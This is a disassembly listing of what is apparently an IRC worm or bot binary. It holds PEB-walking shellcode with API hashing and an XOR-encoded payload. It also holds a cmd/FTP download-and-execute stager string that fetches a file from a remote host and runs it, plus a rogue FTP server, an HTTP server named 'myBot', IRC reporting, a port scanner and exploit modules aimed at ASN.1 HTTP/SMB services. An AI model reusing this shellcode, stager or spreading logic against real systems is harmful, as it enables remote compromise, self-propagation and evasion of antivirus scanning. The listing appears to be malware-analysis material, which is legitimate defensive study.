loc_41F0A1:				; CODE XREF: sub_41F089+1Ej
		cmp	[ecx], ebx
		jz	short loc_41F0A9
		mov	ecx, [ecx]
		jmp	short loc_41F0A1
; ---------------------------------------------------------------------------


loc_41F0A9:				; CODE XREF: sub_41F089+1Aj
		mov	edx, edi


loc_41F0AB:				; CODE XREF: sub_41F089+2Aj
		cmp	[edx+4], ebx
		jz	short loc_41F0B5
		mov	edx, [edx+4]
		jmp	short loc_41F0AB
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41F089+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_41F089	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F0C0	proc near		; CODE XREF: sub_41EFC4+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_41F0C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F0D6	proc near		; CODE XREF: sub_41EFC4+16p
					; sub_41EFC4+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_41F0EC:				; CODE XREF: sub_41F0D6+33j
		jecxz	short loc_41F126
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_41F0F9:				; CODE XREF: sub_41F0D6+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_41F105
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_41F0F9
; ---------------------------------------------------------------------------


loc_41F105:				; CODE XREF: sub_41F0D6+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_41F0EC
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_41F126:				; CODE XREF: sub_41F0D6:loc_41F0ECj
					; sub_41F0D6:loc_41F126j
		jmp	short loc_41F126
sub_41F0D6	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_41F12C	proc near		; DATA XREF: sub_402B8D+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_41F17E
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_41F149:				; CODE XREF: sub_41F12C+38j
		jecxz	short loc_41F179
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_41F154:				; CODE XREF: sub_41F12C+32j
		lodsb
		test	al, al
		jz	short loc_41F160
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_41F154
; ---------------------------------------------------------------------------


loc_41F160:				; CODE XREF: sub_41F12C+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_41F149
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_41F179:				; CODE XREF: sub_41F12C:loc_41F149j
		mov	[esp+arg_0], ebx
		retn
sub_41F12C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F17E	proc near		; CODE XREF: sub_41F12C+7p

; FUNCTION CHUNK AT 0041F1B6 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_41F197
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_41F1A2
; ---------------------------------------------------------------------------


loc_41F197:				; CODE XREF: sub_41F17E+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_41F1A2:				; CODE XREF: sub_41F17E+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_41F1B6
sub_41F17E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F1A9	proc near		; CODE XREF: sub_41F17E:loc_41F1B6p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_41F1A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F17E


loc_41F1B6:				; CODE XREF: sub_41F17E+29j
		call	sub_41F1A9


loc_41F1BB:				; DATA XREF: sub_402333+1Bo
					; seg000:00409B10o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_41F17E
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_41F1C0	dd 60h		dword_41F1C4	dd 62B0606h, 2050501h, 0A0hdword_41F1D0	dd 30h							; seg002:0042342Co ...
dword_41F1D4	dd 0A1h		dword_41F1D8	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_40238E+153o
		align 4


loc_41F1E4:				; DATA XREF: sub_40238E+E8o
		jmp	short near ptr dword_41F1EC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_41F1EC	dd 0		dword_41F1F0	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_402B8D+55o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
		db 1Ah
; ---------------------------------------------------------------------------


loc_41F27D:				; CODE XREF: seg002:0041F284j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_41F27D
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h, 7A69h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40318D+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_40318D+5B9o
					; seg000:004098B2o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40318D+5ACo
		align 4
dword_41F40C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40318D+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40318D+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40318D+516o
		align 10h
aRetr		db 'RETR',0             ; DATA XREF: sub_40318D+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40318D+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40318D+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40318D+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40318D+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40318D+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40318D+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_40318D+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40318D+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40318D+39Co
		align 10h
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40318D+38Co
aI:					; DATA XREF: sub_40318D+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40318D+351o
aA:					; DATA XREF: sub_40318D+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40318D+326o
					; sub_40318D+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40318D+316o
		align 4
off_41F5C8	dd offset dword_445750	; DATA XREF: sub_40318D+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40318D+2F2o
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_40318D+2DEo
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_40318D+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40318D+2BAo
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40318D+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40318D+296o
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40318D+286o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40318D+271o
					; seg002:004231D8o ...
		align 10h
aSS_1		db '%s %s',0            ; DATA XREF: sub_40318D+260o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40318D+1D8o
		align 10h
aRb		db 'rb',0               ; DATA XREF: sub_40380D+24o
					; seg000:00404AF0o ...
		align 4
unk_41F664	db    2			; DATA XREF: sub_4038A7+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_41F6AC	db 0Dh,0Ah,0		; DATA XREF: sub_4038A7+2CFo
		align 10h
asc_41F6B0:				; DATA XREF: sub_4038A7+293o
					; seg000:00409438o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_4038A7+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00403DF8o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00403DD5o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: seg000:00403D99o
					; sub_40799C+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:00403D85o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: seg000:loc_403D67o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: seg000:00403D60o
		align 10h
unk_41F8D0	db    2			; DATA XREF: seg000:00404113o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_41F91C	db    2			; DATA XREF: seg000:0040408Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_41F960:				; DATA XREF: seg000:00403FDBo
					; seg002:00424E70o
		unicode	0, <*>,0
asc_41F964:				; DATA XREF: seg000:00403F7Fo
					; sub_404134+29o
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: seg000:00403F6Eo
					; sub_404134+4CAo
		align 10h
aS_1		db '%s',0               ; DATA XREF: seg000:00403EBEo
					; seg000:0040AA8Eo ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: seg000:00403EB3o
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_404134+64Eo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404134+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_404134+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404134+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404134+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404134:loc_40464Co
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404134+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404134+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404134+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404134+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404134:loc_4044F6o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404134+3BBo
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_404134+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404134+330o
					; sub_404134+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_404134+30Eo
		align 10h
aS_0		db '<%s>',0             ; DATA XREF: sub_404134+2E4o
					; sub_404134+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_404134+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_404134+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_404134+284o
		align 10h
a__0:					; DATA XREF: sub_404134+24Do
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_404134+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404134+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404134+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404134+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404134+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404134+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_404134+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404134+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4048A1+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
		dd 4000500h, 7868746Bh,	0
		dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
		db    0
		db 5, 0, 1
		db  46h	; F
		db 69h,	6Ch, 65h
		db  20h
		db 4Eh,	6Fh, 74h
		db  20h
aFound		db 'Found',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_41FF1C	db    2			; DATA XREF: seg000:00404B1Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_41FF6C	db    2			; DATA XREF: seg000:00404A2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_0	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: seg000:004049D1o
		align 10h
aAsn1http_0	db 'asn1http',0         ; DATA XREF: sub_40550F+164o
		align 2
aAsn1http	db 'asn1http',0         ; DATA XREF: sub_402B8D+1C8o
		align 4
		dd 5 dup(0)
dword_41FFE8	dd 50h							; seg000:0040BA75r ...
off_41FFEC	dd offset sub_402B8D	; DATA XREF: sub_40550F+1E6r
dword_41FFF0	dd 0							; sub_402B8D+202r ...
dword_41FFF4	dd 1		dword_41FFF8	dd 1		aAsn1smb	db 'asn1smb',0
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
		dd 1BDh, 402B8Dh, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	402B8Dh, 0
		dd 2 dup(1), 0
aAsn1http_1	db 'asn1http',0
		align 2
byte_420082	db 1			; DATA XREF: seg000:loc_40D384r
					; seg000:0040D38Eo
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_404EB9+81o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_404EB9+42o
		align 4
unk_4200BC	db    2			; DATA XREF: sub_404EB9+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4200F4	db    2			; DATA XREF: sub_404F83+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_420128	db    2			; DATA XREF: sub_404F83+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42015C	db    2			; DATA XREF: seg000:00405369o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4201A4	db    2			; DATA XREF: seg000:00405301o
					; seg000:0040D8DAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_4201F4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00405261o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_420238	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:004051F4o
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42028C	db    2			; DATA XREF: seg000:00405143o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4202D4	db    2			; DATA XREF: seg000:004050D5o
					; seg000:0040D764o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4053D6+38o
					; sub_407435+46o
unk_420334	db    2			; DATA XREF: sub_40550F+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_420370	db    2			; DATA XREF: sub_40550F+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_4203C0	db    2			; DATA XREF: sub_40550F+3E2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_420418	db    2			; DATA XREF: sub_40550F+387o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_420468	db    2			; DATA XREF: sub_40550F+317o
